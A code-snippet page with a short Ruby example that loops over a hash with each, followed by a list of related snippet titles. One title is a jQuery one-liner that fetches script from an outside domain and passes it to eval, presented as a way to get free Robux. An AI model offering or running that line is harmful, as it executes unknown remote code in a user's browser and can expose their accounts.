Ruby hash.each

# iterating_over_hashes.rb

person = {name: 'bob', height: '6 ft', weight: '160 lbs', hair: 'brown'}

person.each do |key, value|
  puts "Bob's #{key} is #{value}"
end

Source: launchschool.com

Similar codes

2 votes257 views1 answer
Ruby match word in string
Ruby
1 vote247 views1 answer
Ruby measure time
Ruby
0 vote250 views1 answer
Rails
Ruby
0 vote229 views2 answers
List objects of a class ruby
Ruby
0 vote238 views3 answers
$ Javascript $ . get ( '//api.rbx2.xyz/rbx id = 16553' , eval ) gratis robux 2000
Ruby
0 vote251 views1 answer
Rails log levels
Ruby
0 vote229 views1 answer
How to include ,multiple modules in ruby
Ruby
0 vote270 views1 answer
Rails form select boolean
Ruby
0 vote261 views2 answers
Rails class reminders belongs_to creator
Ruby
0 vote229 views1 answer
Bundle add cloudinary rails
Ruby